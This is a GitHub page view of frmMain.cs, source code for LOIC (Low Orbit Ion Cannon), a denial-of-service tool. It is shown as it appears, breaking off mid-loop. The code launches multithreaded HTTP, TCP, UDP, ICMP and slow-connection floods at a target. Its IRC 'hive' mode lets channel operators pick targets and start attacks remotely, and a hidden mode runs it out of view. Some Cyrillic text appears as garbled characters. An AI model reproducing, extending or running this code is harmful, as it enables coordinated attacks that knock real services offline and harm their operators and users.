-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfrmMain.cs
1693 lines (1556 loc) · 46.3 KB
/
frmMain.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/* LOIC - Low Orbit Ion Cannon
* Released to the public domain
* Enjoy getting v&, kids.
*/
using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Net;
using System.Net.Sockets;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
using Meebey.SmartIrc4net;
namespace LOIC
{
public partial class frmMain : Form
{
const string AttackText = "ÇÀÐßÄ ÑÌÅÐÒÎÍÎÑÍÎÃÎ ËÀÇÅÐÀ";
const string StpFldText = "Îñòàíîâèòü ôëóäèíã-àòàêó";
private List<IFlooder> arr = new List<IFlooder>();
private StringCollection aUpOLSites = new StringCollection();
private StringCollection aDownOLSites = new StringCollection();
private bool bIsHidden = false, bKonami = false, bResp, intShowStats;
private string sMethod, sData, sSubsite, sTargetHost = "", sTargetIP = "";
private int iPort, iThreads, iDelay, iTimeout, iSockspThread;
private Protocol protocol;
private IrcClient irc;
private Thread irclisten;
private string channel;
private bool ircenabled = false;
private Dictionary<string, string> OpList;
private delegate void CheckParamsDelegate(List<string> pars);
/// <summary>
/// Initializes a new instance of the <see cref="LOIC.frmMain"/> class.
/// </summary>
/// <param name="hive">Whether to enter hive mode.</param>
/// <param name="hide">Whether to hide the form.</param>
/// <param name="ircserver">The irc server.</param>
/// <param name="ircport">The irc port.</param>
/// <param name="ircchannel">The irc channel.</param>
public frmMain(bool hive, bool hide, string ircserver, string ircport, string ircchannel)
{
InitializeComponent();
/* Lets try this! */
bIsHidden = hide;
if(hide)
{
this.WindowState = FormWindowState.Minimized;
this.ShowInTaskbar = false;
}
else if(!Settings.HasAcceptedEula())
{
// Display EULA
using(Form f = new frmEULA())
{
if(f.ShowDialog(this) != DialogResult.OK) {
// Bail out if declined
Environment.Exit(0);
return;
} else {
// Save EULA acceptance
Settings.SaveAcceptedEula();
}
}
}
bKonami = Konami.Check(this);
// IRC
if(ircserver.Length > 0)
txtIRCserver.Text = ircserver;
if(ircport.Length > 0)
txtIRCport.Text = ircport;
if(ircchannel.Length > 0)
txtIRCchannel.Text = ircchannel;
enableHive.Checked |= hive;
disableHive.Checked |= !hive;
}
/// <summary>
/// Attack the specified target
/// </summary>
/// <param name="toggle">Whether to toggle.</param>
/// <param name="on">Whether the attack should start.</param>
/// <param name="silent">Whether to silence error output.</param>
private void Attack(bool toggle, bool on, bool silent = false)
{
if((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
{
try
{
// Protect against race condition
if(tShowStats.Enabled) tShowStats.Stop();
if (!Functions.ParseInt(txtPort.Text, 0, 65535, out iPort)) {
Wtf ("I don't think ports are supposed to be written like THAT.", silent);
return;
}
if (!Functions.ParseInt(txtThreads.Text, 1, (bKonami ? 1337 : 99), out iThreads)) {
Wtf ("What on earth made you put THAT in the threads field?", silent);
return;
}
sTargetIP = txtTarget.Text;
if (String.IsNullOrEmpty(sTargetIP) || String.IsNullOrEmpty(sTargetHost) || String.Equals(sTargetIP, "N O N E !"))
throw new Exception("Select a target.");
sMethod = cbMethod.Text;
protocol = Protocol.None;
try {
protocol = (Protocol) Enum.Parse (typeof (Protocol), sMethod, true);
// Analysis disable once EmptyGeneralCatchClause
} catch { }
if(protocol == Protocol.None) {
Wtf ("Select a proper attack method.", silent);
return;
}
sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
if(String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP)) {
Wtf ("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O", silent);
return;
}
sSubsite = txtSubsite.Text;
if (!sSubsite.StartsWith("/") && (int)protocol >= (int)Protocol.HTTP && (int)protocol != (int)Protocol.ICMP) {
Wtf ("You have to enter a subsite (for example \"/\")", silent);
return;
}
if (!int.TryParse(txtTimeout.Text, out iTimeout) || iTimeout < 1) {
Wtf ("What's up with something like that in the timeout box? =S", silent);
return;
}
if (iTimeout > 999)
{
iTimeout = 30;
txtTimeout.Text = "30";
}
bResp = chkWaitReply.Checked;
if (protocol == Protocol.slowLOIC || protocol == Protocol.ReCoil || protocol == Protocol.ICMP)
{
if (!int.TryParse(txtSLSpT.Text, out iSockspThread) || iSockspThread < 1)
throw new Exception("A number is fine too!");
}
}
catch (Exception ex)
{
Wtf (ex.Message, silent);
return;
}
cmdAttack.Text = StpFldText;
//let's lock down the controls, that could actually change the creation of new sockets
chkAllowGzip.Enabled = false;
chkUseGet.Enabled = false;
chkMsgRandom.Enabled = false;
chkRandom.Enabled = false;
cbMethod.Enabled = false;
chkWaitReply.Enabled = false;
txtSLSpT.Enabled = false;
if (arr.Count > 0)
{
foreach (IFlooder i in arr)
{
i.Stop();
i.IsFlooding = false;
}
arr.Clear();
}
for (int i = 0; i < iThreads; i++)
{
IFlooder ts = null;
switch (protocol)
{
case Protocol.ReCoil:
ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
break;
case Protocol.slowLOIC:
ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
break;
case Protocol.HTTP:
ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
break;
case Protocol.TCP:
case Protocol.UDP:
ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
break;
case Protocol.ICMP:
ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
break;
}
if(ts != null)
{
ts.Start();
arr.Add(ts);
}
}
tShowStats.Start();
}
else if(toggle || !on)
{
cmdAttack.Text = AttackText;
chkAllowGzip.Enabled = true;
chkUseGet.Enabled = true;
chkMsgRandom.Enabled = true;
chkRandom.Enabled = true;
cbMethod.Enabled = true;
chkWaitReply.Enabled = true;
txtSLSpT.Enabled = true;
if (arr != null && arr.Count > 0)
{
foreach (IFlooder i in arr)
{
i.Stop();
i.IsFlooding = false;
}
}
}
}
/// <summary>
/// What the fuck?
/// </summary>
/// <param name="message">Message.</param>
/// <param name="silent">If set to <c>true</c> silent.</param>
private void Wtf(string message, bool silent = false)
{
if (silent) {
return;
}
new frmWtf().Show();
MessageBox.Show(message, "What the shit.");
}
/// <summary>
/// Lock on IP target.
/// </summary>
/// <param name="silent">Silent?</param>
private void LockOnIP(bool silent = false)
{
try
{
string tIP = txtTargetIP.Text.Trim().ToLowerInvariant();
if(tIP.Length == 0)
{
Wtf ("I think you forgot the IP.", silent);
return;
}
try
{
txtTarget.Text = sTargetHost = sTargetIP = IPAddress.Parse(tIP).ToString();
if(sTargetHost.Contains(":"))
{
sTargetHost = "[" + sTargetHost.Trim('[', ']') + "]";
}
}
catch(FormatException)
{
Wtf ("I don't think an IP is supposed to be written like THAT.", silent);
return;
}
}
catch(Exception ex)
{
Wtf (ex.Message, silent);
return;
}
}
/// <summary>
/// Lock on URL target.
/// </summary>
/// <param name="silent">Silent?</param>
private void LockOnURL(bool silent = false)
{
try
{
string tURL = txtTargetURL.Text.Trim().ToLowerInvariant();
if(tURL.Length == 0)
{
Wtf ("A URL is fine too...", silent);
return;
}
if(!tURL.Contains("://"))
{
tURL = String.Concat("http://", tURL);
}
try
{
tURL = new Uri(tURL).Host;
txtTarget.Text = sTargetIP = (Functions.RandomElement(Dns.GetHostEntry(tURL).AddressList) as IPAddress).ToString();
txtTargetURL.Text = sTargetHost = tURL;
}
catch(UriFormatException)
{
Wtf ("I don't think a URL is supposed to be written like THAT.", silent);
return;
}
catch(SocketException)
{
Wtf ("The URL you entered does not resolve to an IP!", silent);
return;
}
}
catch(Exception ex)
{
Wtf (ex.Message, silent);
return;
}
}
/// <summary>
/// Hive stuff.
/// </summary>
/// <param name="enabled">If set to <c>true</c> enabled.</param>
private void DoHive(bool enabled)
{
try
{
// Is everything ok?
if ((txtIRCserver.Text == "" || txtIRCchannel.Text == "") && enabled)
{
disableHive.Checked = true;
}
else if (enabled)
{
try { IPHostEntry ipHost = Dns.GetHostEntry(txtIRCserver.Text); }
catch { disableHive.Checked = true; }
}
if (disableHive.Checked && enabled)
{
Wtf ("Did you fill IRC options correctly?");
return;
}
// We are starting connection. Disable input in IRC boxes.
txtIRCserver.Enabled = !enabled;
txtIRCport.Enabled = !enabled;
txtIRCchannel.Enabled = !enabled;
// Lets try this!
ircenabled = enabled;
if (enabled)
{
SetStatus("Connecting..");
if (irc == null) {
irc = new IrcClient();
irc.OnConnected += IrcConnected;
irc.OnReadLine += OnReadLine;
irc.OnChannelMessage += OnMessage;
irc.OnOp += OnOp;
irc.OnDeop += OnDeOp;
irc.OnPart += OnPart;
irc.OnNickChange += OnNickChange;
irc.OnTopic += OnTopic;
irc.OnTopicChange += OnTopicChange;
irc.OnQuit += OnQuit;
irc.OnKick += OnKick;
irc.OnDisconnected += IrcDisconnected;
irc.OnNames += OnNames;
irc.AutoRejoinOnKick = true;
irc.AutoRejoin = true;
}
try
{
int port;
if (!int.TryParse(txtIRCport.Text, out port)) port = 6667;
irc.Connect(txtIRCserver.Text, port);
channel = txtIRCchannel.Text.ToLowerInvariant();
irc.Login("LOIC_" + Functions.RandomString(), "Newfag's remote LOIC", 0, "IRCLOIC");
// Spawn a thread to handle the listen.
irclisten = new Thread(IrcListenThread);
irclisten.Start();
}
// Analysis disable once EmptyGeneralCatchClause
catch
{ }
}
else
{
try
{
if (irc != null) irc.Disconnect();
}
// Analysis disable once EmptyGeneralCatchClause
catch
{ }
SetStatus("Disconnected.");
}
}
catch
{ }
}
/// <summary>
/// IRC listening thread.
/// </summary>
private void IrcListenThread()
{
while (ircenabled)
{
irc.Listen();
}
}
/// <summary>
/// Handles the IRC OnDisconnected event.
/// </summary>
/// <param name="o">Sender.</param>
/// <param name="e">EventArgs.</param>
private void IrcDisconnected(object o, EventArgs e)
{
if (ircenabled)
{
try
{
int port;
if (!int.TryParse(txtIRCport.Text, out port)) port = 6667;
irc.Connect(txtIRCserver.Text, port);
irc.Login("LOIC_" + Functions.RandomString(), "Newfag's remote LOIC", 0, "IRCLOIC");
}
catch
{ }
}
}
/// <summary>
/// Handles the IRC OnConnected event.
/// </summary>
/// <param name="o">Sender.</param>
/// <param name="e">EventArgs.</param>
private void IrcConnected(object o, EventArgs e)
{
SetStatus("Logging In...");
}
private delegate void AddListBoxItemDelegate(object sender, ReadLineEventArgs e);
/// <summary>
/// Handles the IRC OnNames event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
void OnNames(object sender, NamesEventArgs e)
{
if (label25.Text == "Logging In...") // we don't want to overwrite the Topic thingy on connect!
SetStatus("Connected!");
if (OpList != null)
{
OpList.Clear();
}
else
{
OpList = new Dictionary<string, string>();
}
foreach (string user in e.UserList)
{
if (user.StartsWith("@") || user.StartsWith("&") || user.StartsWith("~"))
{
OpList.Add(user.Substring(1), "");
}
}
}
/// <summary>
/// Handles the IRC OnOp event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
void OnOp(object sender, OpEventArgs e)
{
if (OpList == null) OpList = new Dictionary<string, string>();
if (!OpList.ContainsKey(e.Whom))
{
OpList.Add(e.Whom, "");
}
}
/// <summary>
/// Handles the IRC OnDeOp event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
void OnDeOp(object sender, DeopEventArgs e)
{
if (OpList == null) OpList = new Dictionary<string, string>();
if (OpList.ContainsKey(e.Whom))
{
OpList.Remove(e.Whom);
}
}
/// <summary>
/// Handles the IRC OnPart event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
void OnPart(object sender, PartEventArgs e)
{
if (OpList == null) OpList = new Dictionary<string, string>();
if (OpList.ContainsKey( e.Who))
{
OpList.Remove(e.Who);
}
}
/// <summary>
/// Handles the IRC OnQuit event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
void OnQuit(object sender, QuitEventArgs e)
{
if (OpList == null) OpList = new Dictionary<string, string>();
if (OpList.ContainsKey(e.Who))
{
OpList.Remove(e.Who);
}
}
/// <summary>
/// Handles the IRC OnTopic event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
void OnTopic(object sender, TopicEventArgs e)
{
if (e.Channel.ToLowerInvariant() == channel && e.Topic.StartsWith("!lazor "))
{
List<string> pars = new List<string>(e.Topic.Split(' '));
SetStatus("Controlled by topic");
try
{
txtTargetIP.Invoke(new CheckParamsDelegate(CheckParams), pars);
}
catch
{ }
}
}
/// <summary>
/// Handles the IRC OnTopicChange event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
void OnTopicChange(object sender, TopicChangeEventArgs e)
{
if (e.Channel.ToLowerInvariant() == channel && e.NewTopic.StartsWith("!lazor "))
{
List<string> pars = new List<string>(e.NewTopic.Split(' '));
SetStatus("Controlled by topic");
try
{
txtTargetIP.Invoke(new CheckParamsDelegate(CheckParams), pars);
}
catch
{ }
}
}
/// <summary>
/// Handles the IRC OnNickChange event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
void OnNickChange(object sender, NickChangeEventArgs e)
{
if (OpList.ContainsKey(e.OldNickname))
{
OpList.Remove(e.OldNickname);
if (!OpList.ContainsKey(e.NewNickname))
{
OpList.Add(e.NewNickname, "");
}
}
}
/// <summary>
/// Handles the IRC OnKick event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
void OnKick(object sender, KickEventArgs e)
{
if (OpList == null) OpList = new Dictionary<string, string>();
if (OpList.ContainsKey(e.Whom))
{
OpList.Remove(e.Whom);
}
}
private delegate void SetStatusDelegate(string status);
/// <summary>
/// Sets the status.
/// </summary>
/// <param name="status">Status.</param>
void SetStatus(string status)
{
if (label25.InvokeRequired)
{
label25.Invoke(new SetStatusDelegate(SetStatus), status);
}
else
{
label25.Text = status;
}
}
/// <summary>
/// Handles the IRC OnMessage event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
void OnMessage(object sender, IrcEventArgs e)
{
if (e.Data.Channel.ToLowerInvariant() == channel)
{
if (e.Data.Message.StartsWith("!lazor "))
{
//authenticate
if (OpList != null && OpList.ContainsKey(e.Data.Nick))
{
List<string> pars = new List<string>(e.Data.Message.Split(' '));
SetStatus("Controlled by "+e.Data.Nick);
try
{
txtTargetIP.Invoke(new CheckParamsDelegate(CheckParams), pars);
}
catch
{ }
}
}
}
}
/// <summary>
/// Checks the parameters.
/// </summary>
/// <param name="pars">Pars.</param>
void CheckParams(List<string> pars)
{
Attack(false, false, true);
foreach (string param in pars)
{
string[] sp = param.Split(new char[]{'='}, 2, StringSplitOptions.RemoveEmptyEntries);
if (sp.Length == 2)
{
string cmd = sp[0];
string value = sp[1];
int num;
switch (cmd.ToLowerInvariant())
{
case "targetip":
txtTargetIP.Text = value;
LockOnIP(true);
break;
case "targethost":
txtTargetURL.Text = value;
LockOnURL(true);
break;
case "timeout":
if(int.TryParse(value, out num) && num >= 1)
txtTimeout.Text = num.ToString();
break;
case "subsite":
txtSubsite.Text = Uri.UnescapeDataString(value);
break;
case "message":
txtData.Text = Uri.UnescapeDataString(value);
break;
case "port":
if (Functions.ParseInt(value, 0, 65535, out num))
txtPort.Text = num.ToString();
break;
case "method":
int index = cbMethod.FindString(value);
if(index != -1)
cbMethod.SelectedIndex = index;
break;
case "threads":
if (Functions.ParseInt(value, 1, 99, out num))
txtThreads.Text = num.ToString();
break;
case "wait":
if (value.ToLowerInvariant() == "true")
chkWaitReply.Checked = true;
else if (value.ToLowerInvariant() == "false")
chkWaitReply.Checked = false;
break;
case "random":
if (value.ToLowerInvariant() == "true")
{
chkRandom.Checked = true; //HTTP
chkMsgRandom.Checked = true; //TCP_UDP
}
else if (value.ToLowerInvariant() == "false")
{
chkRandom.Checked = false; //HTTP
chkMsgRandom.Checked = false; //TCP_UDP
}
break;
case "speed":
if (Functions.ParseInt(value, tbSpeed.Minimum, tbSpeed.Maximum, out num))
tbSpeed.Value = num;
break;
case "useget":
if (value.ToLowerInvariant() == "true")
chkUseGet.Checked = true;
else if (value.ToLowerInvariant() == "false")
chkUseGet.Checked = false;
break;
case "gzip":
case "usegzip":
if (value.ToLowerInvariant() == "true")
chkAllowGzip.Checked = true;
else if (value.ToLowerInvariant() == "false")
chkAllowGzip.Checked = false;
break;
case "sockspthread":
if (Functions.ParseInt(value, 1, 99, out num))
txtSLSpT.Text = num.ToString();
break;
}
}
else
{
if (sp[0].ToLowerInvariant() == "start")
{
Attack(false, true, true);
return;
}
else if (sp[0].ToLowerInvariant() == "default")
{
txtTargetIP.Text = "";
txtTargetURL.Text ="";
txtTimeout.Text = "30";
txtSubsite.Text = "/";
txtData.Text = "U dun goofed";
txtPort.Text = "80";
int index = cbMethod.FindString("TCP");
if (index != -1) { cbMethod.SelectedIndex = index; }
txtThreads.Text = "10";
chkWaitReply.Checked = true;
chkRandom.Checked = false;
chkMsgRandom.Checked = false;
tbSpeed.Value = 0;
txtSLSpT.Text = "25";
chkAllowGzip.Checked = false;
chkUseGet.Checked = false;
}
}
}
SetStatus("Waiting.");
}
/// <summary>
/// Handles the IRC OnReadLine event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
void OnReadLine(object sender, ReadLineEventArgs e)
{
string command = e.Line.Split(' ')[1];
if( command.Equals("PING") )
{
string server = e.Line.Split(' ')[2];
irc.WriteLine("PONG " + server, Priority.Critical);
}
else if( command.Equals("422") || command.Equals("376") ) // 422: motd missing // 376: end of motd
{
if (OpList != null) OpList.Clear();
irc.RfcJoin(channel);
}
}
/// <summary>
/// Handles the Form Load event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
private void frmMain_Load(object sender, EventArgs e)
{
string unlocked = bKonami ? " | *UNLEASHED*" : "";
this.Text = String.Format("{0} | Êîãäà ãàðïóíû, âîçäóøíûå ñòðåëÿëêè... è ïðî÷èå ïóêàëêè íå ðàáîòàþò | v. {1}{2}", Application.ProductName, Application.ProductVersion, unlocked);
}
/// <summary>
/// Handles the Form Closed event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
private void frmMain_Closed(object sender, FormClosedEventArgs e)
{
try
{
ircenabled = false;
if (irclisten != null) irclisten.Abort();
if (irc != null) irc.Disconnect();
}
// Analysis disable once EmptyGeneralCatchClause
catch
{ }
finally
{
Environment.Exit(0);
}
}
/// <summary>
/// Handles the cmdTargetURL Click event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
private void cmdTargetURL_Click(object sender, EventArgs e)
{
LockOnURL(false);
}
/// <summary>
/// Handles the cmdTargetIP Click event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
private void cmdTargetIP_Click(object sender, EventArgs e)
{
LockOnIP(false);
}
/// <summary>
/// Handles the txtTarget Enter event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
private void txtTarget_Enter(object sender, EventArgs e)
{
cmdAttack.Focus();
}
/// <summary>
/// Handles the cmdAttack Click event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
private void cmdAttack_Click(object sender, EventArgs e)
{
Attack(true, false, false);
}
/// <summary>
/// Handles the tShowStats Tick event.
/// </summary>
/// <param name="sender">Sender.</param>
/// <param name="e">EventArgs.</param>
private void tShowStats_Tick(object sender, EventArgs e)
{
// Protect against null reference and race condition
if(arr == null || intShowStats)
return;
intShowStats = true;
int iIdle = 0;
int iConnecting = 0, iRequesting = 0, iDownloading = 0;
int iDownloaded = 0, iRequested = 0, iFailed = 0;
bool isFlooding = false;
if (cmdAttack.Text == StpFldText)
isFlooding = true;
if(arr.Count > 0)
{
for (int a = (arr.Count - 1); a >= 0; a--)
{
if(arr[a] != null && (arr[a] is cHLDos))
{
cHLDos c = arr[a] as cHLDos;
iDownloaded += c.Downloaded;
iRequested += c.Requested;
iFailed += c.Failed;
if(c.State == ReqState.Ready ||
c.State == ReqState.Completed)
iIdle++;
if (c.State == ReqState.Connecting)
iConnecting++;
if (c.State == ReqState.Requesting)
iRequesting++;
if (c.State == ReqState.Downloading)
iDownloading++;
if (isFlooding && !c.IsFlooding)
{
cHLDos ts = null;
int iaDownloaded = c.Downloaded;
int iaRequested = c.Requested;
int iaFailed = c.Failed;
if (protocol == Protocol.ReCoil)
{
ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
}
if (protocol == Protocol.slowLOIC)
{
ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
}
if (protocol == Protocol.HTTP)
{
ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
}
if (protocol == Protocol.TCP || protocol == Protocol.UDP)
{
ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
}
if (protocol == Protocol.ICMP)
{
ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
}
if(ts != null)
{
arr[a].Stop();
arr[a].IsFlooding = false;
arr.RemoveAt(a);
ts.Downloaded = iaDownloaded;
ts.Requested = iaRequested;
ts.Failed = iaFailed;
ts.Start();
arr.Add(ts);
}
}
}
}
if (isFlooding)
{
while (arr.Count < iThreads)
{
IFlooder ts = null;
if (protocol == Protocol.ReCoil)
{
ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
}
if (protocol == Protocol.slowLOIC)
{
ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
}
if (protocol == Protocol.HTTP)
{
ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
}
if (protocol == Protocol.TCP || protocol == Protocol.UDP)
{
ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
}
if (protocol == Protocol.ICMP)
{
ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
}
if(ts != null)
{
ts.Start();
arr.Add(ts);
}
else break;
}
if (arr.Count > iThreads)
{
for (int a = (arr.Count - 1); a >= iThreads; a--)
{
arr[a].Stop();
arr[a].IsFlooding = false;
arr.RemoveAt(a);
}